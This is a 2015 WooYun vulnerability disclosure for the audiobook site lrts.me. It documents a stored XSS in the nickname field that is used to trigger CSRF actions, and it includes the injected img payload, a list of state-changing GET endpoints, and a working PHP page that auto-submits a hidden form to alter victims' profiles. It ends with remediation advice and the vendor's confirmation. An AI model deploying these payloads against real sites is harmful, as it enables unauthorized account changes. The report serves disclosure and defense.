当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0130963

漏洞标题:懒人听书XSS+CSRF漏洞

相关厂商:lrts.me

漏洞作者: 路人甲

提交时间:2015-08-03 14:52

修复时间:2015-09-17 17:04

公开时间:2015-09-17 17:04

漏洞类型:CSRF

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-03: 细节已通知厂商并且等待厂商处理中
2015-08-03: 厂商已经确认,细节仅向厂商公开
2015-08-13: 细节向核心白帽子及相关领域专家公开
2015-08-23: 细节向普通白帽子公开
2015-09-02: 细节向实习白帽子公开
2015-09-17: 细节向公众公开

简要描述:

懒人听书
解放双眼,畅听世界。
====================================

详细说明:

1、在用户昵称处,仅仅在前端做了限制,没在服务器端做校验,致使用户可以改包绕过前端限制;亦或者直接提交参数的值也可以绕过前端验证。

http://www.lrts.me/updateBasicInfo.do?areaIds=地区&birthday=生日&email=邮箱&nickName=昵称&remark=个性签名&sex=性别


1.1这里,方面测试我们把用户昵称修改为:xk<img src="http://t.im/qcfo"/>

http://www.lrts.me/updateBasicInfo.do?areaIds=29_456&birthday=1970-1-1&[email protected]&nickName=xk%3Cimg%20src=%22http://t.im/qcfo%22/%3E&remark=test&sex=1


修改昵称.png


1.2这里src里面的值用到了短链接,因为测试的时候发现,虽然服务器端对字符串格式未验证,但还是对长度进行了验证的,不能超过32个字节长度。
其中src的原始值为:

http://www.lrts.me/addComment.do?commentContent=test&entityId=9758&entityType=2


1.3如上链接意思为:对id是9758的节目进行评价,评价的内容是test,评价的星星为4颗(默认),如果是5颗星呢?只需要在参数后面接着加上&commentStar=5就可以了。
找个节目进行评价。如图所示,可以看到,img标签被完整输出了。

输出在这里.png


1.4当用户查看这个节目的时候,浏览器就会访问img标签里的src属性值。致使在用户不知情的情况下,对指定id的节目进行评价,如图所示:

csrf用户未知情的情况下进行评论.png


2、关注or取消关注
关注:http://www.lrts.me/user/addFollow.do?userId=123141749
取消关注:http://www.lrts.me/user/cancellFollow.do?userId=123141749
3、收藏or取消收藏
收藏:http://www.lrts.me/user/addCollection.do?entityId=9758&entityType=2
取消收藏:http://www.lrts.me/user/delCollection.do?entityId=9758&entityType=2
4、对节目赞一个
http://www.lrts.me/user/addLike.do?entityId=9758&entityType=2
=============================================================================

漏洞证明:

1、如下是修改用户信息,“畅听”竟然被当作敏感字!将下面代码传到服务器。把详细说明1.1中的src熟悉替换为php文件所在的地址。当用户访问后,就会实现自动修改个人信息。

<?php
$name = date('Y-m-d H:i:s');//获取时间?昵称不能有相同的,所以在昵称后面加一个时间.233333
$csrf = "<form method='post' action='http://www.lrts.me/updateBasicInfo.do'>";
$csrf = $csrf."<input type='text' value='8_165' name='areaIds' style='display:none!important;display:block;width=0;height=0' />";
$csrf = $csrf."<input type='text' value='1970-1-1' name='birthday' style='display:none!important;display:block;width=0;height=0' />";
$csrf = $csrf."<input type='text' value='[email protected]' name='email' style='display:none!important;display:block;width=0;height=0' />";
$csrf = $csrf."<input type='text' value=\"小懒听书:-)$name\" name='nickName' style='display:none!important;display:block;width=0;height=0' />";
$csrf = $csrf."<input type='text' value='解放雙眼 暢聽世界 ' name='remark' style='display:none!important;display:block;width=0;height=0' />";
$csrf = $csrf."<input type='text' value='1' name='sex' style='display:none!important;display:block;width=0;height=0' />";
$csrf = $csrf."</form>";
$csrf = $csrf."<script>document.forms[0].submit();</script>";
echo($csrf);
?>


如上所述。

修复方案:

csrf
*验证HTTP Referer字段,如果Referer中的地址不是来源于本网站则拒绝提供相关服务。
*在HTTP请求中以参数的形式添加一个随机的token,并在服务器端检查这个token是否正确,如不正确或不存在 ,则可以认为是不安全的请求,拒绝提供相关服务。
xss
*根据实际情况对用户的输入进行基于白名单的过滤。对于不在白名单之内的,全部忽略掉。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-08-03 17:03

厂商回复:

感谢作者持续给我们提交漏洞报告,我们会尽快统一修改CRSF和XSS漏洞!

最新状态:

暂无